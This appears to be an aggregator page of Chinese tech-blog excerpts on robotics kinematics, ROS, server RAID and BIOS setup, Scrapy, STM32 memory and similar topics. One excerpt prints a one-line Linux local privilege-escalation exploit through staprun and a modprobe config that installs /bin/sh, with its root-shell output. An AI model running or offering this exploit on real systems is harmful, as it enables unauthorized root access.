【机器人运动学/姿态角】欧拉角和RPY角
RPY角绕参考坐标系，绕定轴X（Roll）—Y（Pitch）—Z（Yaw）旋转，旋转矩阵左乘。顺序：绕X转γ，绕Y转β，绕Z转α公式：R(γ,β,α) = Rot(z,α)Rot(y,β)Rot(x,γ)欧拉角绕自身坐标系，绕动轴Z—Y—X旋转，旋转矩阵右乘。顺序：绕Z转α，绕Y转β，绕X转γ公式：...
高等代数 线性映射(第9章)6 线性函数与对偶空间(9.10)
一.线性函数 1.概念: 2.表达式: 二.对偶空间以下只研究有限维的线性函数空间1.线性函数空间 (1)概念: (2)维数: (3)基: 2.对偶空间与对偶基 (1)概念:注意:当VVV为域FFF上的无限维线性空间时,我们不把Hom(V,F)Hom(V,F)Hom(V,F)记作V∗V^*V∗(2)...
ROS学习过程中的错误记录5 - sw2urdf导出功能包的编译错误
编译报错Error(s) in package ’ /home /miracle/catkin cobot/src/cobot base IdeModel/ package.xmL’:Error(s):The manifest of package ”cobot_ baseIdeModeL" (wi...
四、功能包的创建
一、创建工作空间1、新建文件夹2、在工作空间中创建src文件夹3、进入src文件夹，打开终端4、输入 catkin_init_workspace 初始化工作空间，产生一个文件，告诉系统这是一个工作空间5、回到总文件（src上一级），使用指令catkin_make进行编译，产生 build,devel...
创建URDF模型用rviz出现Global Status : Error 解决方法
创建URDF模型用rviz出现Global Status : Error 解决方法:在终端中输入：roslaunch mrobot_description display_mrobot_chassis_urdf.launch启动rviz仿真出现如下图所示：Global Status : Error ...
JAR命令使用
jar 命令详解jar 是随 JDK 安装的，在 JDK 安装目录下的 bin 目录中，Windows 下文件名为 jar.exe，Linux 下文件名为 jar。它的运行需要用到 JDK 安装目录下 lib 目录中的 tools.jar 文件。不过我们除了安装 JDK 什么也不需要做，因为 SUM...
proxysql web管理界面配置
proxysql提供了两个管理方式：1）consle管理方式2）web界面管理方式对应两种管理方式的不同，默认提供两类管理账户：1）admin:admin 可以对管理读写的账户2）stats：stats 只有读的管理账户，用于web界面的管理方式web界面的开启方式直接修改admin-web_ena...
A*算法进入
作者文章链接：http://www.policyalmanac.org/games/aStarTutorial.htm启示式搜索：启示式搜索就是在状态空间中的搜索对每个搜索的位置进行评估，得到最好的位置。再从这个位置进行搜索直到目标。这样能够省略大量无畏的搜索路径。提到了效率。在启示式搜索中，对位置...
linux一句话轻松提权
linux命令：[b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever sh-3.2# uname -aLin...
powerdesigner导出模型为RTF
在设计模型的时候需要将设计好的模型进行尺寸调整并复制到word中。这时候就需要利用导出报告功能，导出为word格式。再做进一步处理。 1.选择【报告】-【Generate Report】 2.自动打开RTF文件，找到响应模型做尺寸调整 ...
基于GNS3思科模拟路由器实现的浮动路由
实验拓扑：实验说明：假设R2和R3背后都有一个8.8.8.8/32网段的运营商，现在我们为R1配置浮动静态路由，模拟在默认情况下所有流量都往主链路上走，当主链路出现故障时，流量能够切换到备链路上来。实验步骤：1. 为各路由器配置IP地址，并保证其直连的连通性：在R1配置IP地址：在R2配置IP地址：...
Lenovo ThinkSystem SR650服务器做raid & 安装centos系统
Lenovo ThinkSystem SR650服务器做raid & 安装系统1.按F1进入System setup 2.进入System setup界面，右上角有个小地球的标志，根据需求可以点击切换语言。 切换后的界面 3.点击RAID设置，可以看到当前没有虚拟磁盘。 4.点击管理磁盘驱动...
dell服务器idrac配置
DELL服务器idrac配置教程（730xd为例，720操作类似，界面稍有不同）开机界面出现此界面按F2按F2后，对应选项会高亮表示继续等待BIOS配置界面，上下箭头选择idrac setting，回车上下箭头选择network，回车上下箭头选择到ipv4 setting，按图中方式选择第一二项，在...
HP Proliant DL388 Gen9 服务器 BIOS 设置丢失，win2008 r2启动引导文件修复
HP Proliant DL388 Gen9 服务器 因电源断电发生故障服务器的启动界面一直是上图的模样，不断在重启中。。。排查后，发现win2008 r2系统引导丢失、HP服务器BIOS设置丢失系统引导用老毛桃的PE进行了修复BIOS的设置参考知乎上的文章：HpDL380GEN9 UEFI模式安装...
scrapy爬虫系列之二--翻页爬取及日志的基本用法
功能点：如何翻页爬取信息，如何发送请求，日志的简单实用爬取网站：腾讯社会招聘网完整代码：https://files.cnblogs.com/files/bookwed/tencent.zip主要代码：job.py# -*- coding: utf-8 -*-import scrapyfrom ten...
usb驱动---linux ACM驱动详解ACA【转】
转自：http://blog.chinaunix.net/uid-9185047-id-3404684.htmlDTE提供或接收数据，连接到网络中的用户端机器，主要是计算机和终端设备。与此相对地，在网络端的连接设备称为 DCE ( Date Circuit - terminating Equipme...
IBM\浪潮\Dell\HP服务器raid(磁盘阵列)配置
1、IBM,浪潮使用LSI系列磁盘阵列卡的配置,服务器开机自检到logo画面后，下一步就会进入Raid卡自检过程，此时显示器上会出现Ctrl-H的字样，如图：LSI系列磁盘阵列卡raid 01、10配置参考：https://jingyan.baidu.com/article/066074d6277e...
Ubuntu+Windows双系统下互相访问对方的文件(关键词：Linux,Git)
1.问题背景最近在CSDN博客编写Linux命令行帮助文档命令语法公式格式解读，需要在Linux环境中编写7z压缩命令的截图，我的电脑是Ubunutu+Windows双系统，所以我在Ubuntu系统编写7z压缩命令的截图后，忘记通过QQ邮箱发送截图给自己，然后自己登陆Windows系统获取截图。于是...
STM32F1学习-深入理解存储器（存储器映射以及bit-band）
1.存储器映射STM32F1的系统结构存储器映射STM32F1的存储器的映射存储器映射是指把芯片中或芯片外的FLASH，RAM，外设，BOOTBLOCK等进行统一编址。即用地址来表示对象。这个地址绝大多数是由厂家规定好的，用户只能用而不能改。用户只能在挂外部RAM或FLASH的情况下可进行自定义。从...
如何用程序判定一个PE文件是否加壳
如何用程序判定一个PE文件是否加壳原文网址：http://bbs.pediy.com/thread-115515.htmLenus2010-6-22 10:4129100由于工作原因，时间比较少上论坛来泡泡了。最近由于某些原因时间变得稍微宽裕了些，有空整理整理这几年的一些资料和文档。感觉这个方向论坛...